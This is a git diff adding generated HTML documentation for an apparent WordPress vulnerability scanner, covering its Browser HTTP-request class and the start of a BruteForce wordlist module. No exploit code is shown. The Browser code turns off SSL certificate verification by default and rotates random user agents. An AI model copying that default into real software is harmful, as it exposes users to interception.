+    <span class="ruby-identifier">value</span> = <span class="ruby-identifier">value</span>.<span class="ruby-identifier">to_s</span>
+    <span class="ruby-identifier">matches</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">value</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">value</span>.<span class="ruby-identifier">match</span>(<span class="ruby-identifier">regexp</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">matches</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- _grep_-source -->
+            
+          </div>
+
+          
+          <div class="aliases">
+            Also aliased as: <a href="Array.html#method-i-grep">grep</a>
+          </div>
+          
+
+          
+        </div><!-- _grep_-method -->
+
+      
+        <div id="grep-method" class="method-detail method-alias">
+          <a name="method-i-grep"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">grep</span><span
+              class="method-args">(regexp)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+          </div>
+
+          
+
+          
+          <div class="aliases">
+            Alias for: <a href="Array.html#method-i-_grep_">_grep_</a>
+          </div>
+          
+        </div><!-- grep-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Browser.html b/doc/Browser.html
new file mode 100644
index 00000000..6487c717
--- /dev/null
+++ b/doc/Browser.html
@@ -0,0 +1,699 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Browser</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/browser_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/browser.rb">lib/browser.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-instance">::instance</a></li>
+          
+          <li><a href="#method-c-reset">::reset</a></li>
+          
+          <li><a href="#method-i-forge_request">#forge_request</a></li>
+          
+          <li><a href="#method-i-get">#get</a></li>
+          
+          <li><a href="#method-i-load_config">#load_config</a></li>
+          
+          <li><a href="#method-i-max_threads-3D">#max_threads=</a></li>
+          
+          <li><a href="#method-i-merge_request_params">#merge_request_params</a></li>
+          
+          <li><a href="#method-i-post">#post</a></li>
+          
+          <li><a href="#method-i-user_agent">#user_agent</a></li>
+          
+          <li><a href="#method-i-user_agent_mode-3D">#user_agent_mode=</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Browser</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+      <!-- Constants -->
+      <div id="constants-list" class="section">
+        <h3 class="section-header">Constants</h3>
+        <dl>
+        
+          <dt><a name="ACCESSOR_OPTIONS">ACCESSOR_OPTIONS</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="USER_AGENT_MODES">USER_AGENT_MODES</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+        </dl>
+      </div>
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="config_file-attribute-method" class="method-detail">
+          <a name="config_file"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">config_file</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="hydra-attribute-method" class="method-detail">
+          <a name="hydra"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">hydra</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="instance-method" class="method-detail ">
+          <a name="method-c-instance"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">instance</span><span
+              class="method-args">(options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="instance-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 58</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">instance</span>(<span class="ruby-identifier">options</span> = {})
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">@@instance</span>
+    <span class="ruby-identifier">@@instance</span> = <span class="ruby-identifier">new</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">@@instance</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- instance-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- instance-method -->
+
+      
+        <div id="reset-method" class="method-detail ">
+          <a name="method-c-reset"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">reset</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="reset-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 65</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">reset</span>
+  <span class="ruby-identifier">@@instance</span> = <span class="ruby-keyword">nil</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- reset-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- reset-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="forge_request-method" class="method-detail ">
+          <a name="method-i-forge_request"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">forge_request</span><span
+              class="method-args">(url, params = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="forge_request-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 142</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">params</span> = {})
+  <span class="ruby-constant">Typhoeus</span><span class="ruby-operator">::</span><span class="ruby-constant">Request</span>.<span class="ruby-identifier">new</span>(
+      <span class="ruby-identifier">url</span>.<span class="ruby-identifier">to_s</span>,
+      <span class="ruby-identifier">merge_request_params</span>(<span class="ruby-identifier">params</span>)
+  )
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- forge_request-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- forge_request-method -->
+
+      
+        <div id="get-method" class="method-detail ">
+          <a name="method-i-get"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get</span><span
+              class="method-args">(url, params = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 130</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">params</span> = {})
+  <span class="ruby-identifier">run_request</span>(
+      <span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:method</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:get</span>))
+  )
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get-method -->
+
+      
+        <div id="load_config-method" class="method-detail ">
+          <a name="method-i-load_config"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">load_config</span><span
+              class="method-args">(config_file = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>TODO reload hydra (if the .<a
+href="Browser.html#method-i-load_config">load_config</a> is called on a
+browser object, hydra will not have the new @max_threads and
+@request_timeout)</p>
+            
+
+            
+            <div class="method-source-code" id="load_config-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 102</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">load_config</span>(<span class="ruby-identifier">config_file</span> = <span class="ruby-keyword">nil</span>)
+  <span class="ruby-ivar">@config_file</span> = <span class="ruby-identifier">config_file</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@config_file</span>
+
+  <span class="ruby-identifier">data</span> = <span class="ruby-constant">JSON</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">read</span>(<span class="ruby-ivar">@config_file</span>))
+
+  <span class="ruby-constant">ACCESSOR_OPTIONS</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">option</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">option_name</span> = <span class="ruby-identifier">option</span>.<span class="ruby-identifier">to_s</span>
+
+    <span class="ruby-keyword">self</span>.<span class="ruby-identifier">send</span>(<span class="ruby-value">:&quot;#{option_name}=&quot;</span>, <span class="ruby-identifier">data</span>[<span class="ruby-identifier">option_name</span>])
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- load_config-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- load_config-method -->
+
+      
+        <div id="max_threads-3D-method" class="method-detail ">
+          <a name="method-i-max_threads-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">max_threads=</span><span
+              class="method-args">(max_threads)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="max_threads-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 94</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">max_threads=</span>(<span class="ruby-identifier">max_threads</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">max_threads</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-keyword">or</span> <span class="ruby-identifier">max_threads</span> <span class="ruby-operator">&lt;=</span> <span class="ruby-value">0</span>
+    <span class="ruby-identifier">max_threads</span> = <span class="ruby-value">1</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@max_threads</span> = <span class="ruby-identifier">max_threads</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- max_threads-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- max_threads-3D-method -->
+
+      
+        <div id="merge_request_params-method" class="method-detail ">
+          <a name="method-i-merge_request_params"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">merge_request_params</span><span
+              class="method-args">(params = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="merge_request_params-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 149</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">merge_request_params</span>(<span class="ruby-identifier">params</span> = {})
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@proxy</span>
+    <span class="ruby-identifier">params</span> = <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:proxy</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@proxy</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-value">:disable_ssl_host_verification</span>)
+    <span class="ruby-identifier">params</span> = <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:disable_ssl_host_verification</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-value">:disable_ssl_peer_verification</span>)
+    <span class="ruby-identifier">params</span> = <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:disable_ssl_peer_verification</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-keyword">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-value">:headers</span>)
+    <span class="ruby-identifier">params</span> = <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:headers</span> =<span class="ruby-operator">&gt;</span> {<span class="ruby-string">'user-agent'</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">user_agent</span>})
+  <span class="ruby-keyword">elsif</span> <span class="ruby-operator">!</span><span class="ruby-identifier">params</span>[<span class="ruby-value">:headers</span>].<span class="ruby-identifier">has_key?</span>(<span class="ruby-string">'user-agent'</span>)
+    <span class="ruby-identifier">params</span>[<span class="ruby-value">:headers</span>][<span class="ruby-string">'user-agent'</span>] = <span class="ruby-keyword">self</span>.<span class="ruby-identifier">user_agent</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-comment"># Used to enable the cache system if :cache_timeout &gt; 0</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">params</span>.<span class="ruby-identifier">has_key?</span>(<span class="ruby-value">:cache_timeout</span>)
+    <span class="ruby-identifier">params</span> = <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:cache_timeout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@cache_timeout</span>)
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">params</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- merge_request_params-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- merge_request_params-method -->
+
+      
+        <div id="post-method" class="method-detail ">
+          <a name="method-i-post"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">post</span><span
+              class="method-args">(url, params = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="post-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 136</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">post</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">params</span> = {})
+  <span class="ruby-identifier">run_request</span>(
+      <span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">params</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value">:method</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:post</span>))
+  )
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- post-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- post-method -->
+
+      
+        <div id="user_agent-method" class="method-detail ">
+          <a name="method-i-user_agent"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">user_agent</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return the user agent, according to the user_agent_mode</p>
+            
+
+            
+            <div class="method-source-code" id="user_agent-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 82</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">user_agent</span>
+  <span class="ruby-keyword">case</span> <span class="ruby-ivar">@user_agent_mode</span>
+    <span class="ruby-keyword">when</span> <span class="ruby-string">&quot;semi-static&quot;</span>
+      <span class="ruby-keyword">unless</span> <span class="ruby-ivar">@user_agent</span>
+        <span class="ruby-ivar">@user_agent</span> = <span class="ruby-ivar">@available_user_agents</span>.<span class="ruby-identifier">sample</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">when</span> <span class="ruby-string">&quot;random&quot;</span>
+      <span class="ruby-ivar">@user_agent</span> = <span class="ruby-ivar">@available_user_agents</span>.<span class="ruby-identifier">sample</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@user_agent</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- user_agent-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- user_agent-method -->
+
+      
+        <div id="user_agent_mode-3D-method" class="method-detail ">
+          <a name="method-i-user_agent_mode-3D"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">user_agent_mode=</span><span
+              class="method-args">(ua_mode)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="user_agent_mode-3D-source">
+<pre>
+<span class="ruby-comment"># File lib/browser.rb, line 69</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">user_agent_mode=</span>(<span class="ruby-identifier">ua_mode</span>)
+  <span class="ruby-identifier">ua_mode</span> <span class="ruby-operator">||=</span> <span class="ruby-string">&quot;static&quot;</span>
+
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">USER_AGENT_MODES</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">ua_mode</span>)
+    <span class="ruby-ivar">@user_agent_mode</span> = <span class="ruby-identifier">ua_mode</span>
+    <span class="ruby-comment"># For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter)</span>
+    <span class="ruby-ivar">@user_agent</span> = <span class="ruby-keyword">nil</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">ua_mode</span> <span class="ruby-operator">===</span> <span class="ruby-string">&quot;semi-static&quot;</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;Unknow user agent mode : '#{ua_mode}'&quot;</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- user_agent_mode-3D-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- user_agent_mode-3D-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/BruteForce.html b/doc/BruteForce.html
new file mode 100644
index 00000000..4cd89924
--- /dev/null
+++ b/doc/BruteForce.html
@@ -0,0 +1,380 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: BruteForce</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/brute_force_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/brute_force.rb">lib/wpscan/modules/brute_force.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-lines_in_file">::lines_in_file</a></li>
+          
+          <li><a href="#method-i-brute_force">#brute_force</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">BruteForce</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="lines_in_file-method" class="method-detail ">
+          <a name="method-c-lines_in_file"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">lines_in_file</span><span
+              class="method-args">(file_path)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Counts the number of lines in the wordlist It can take a couple of minutes
+on large wordlists, although bareable.</p>
+            
+
+            
+            <div class="method-source-code" id="lines_in_file-source">
+<pre>
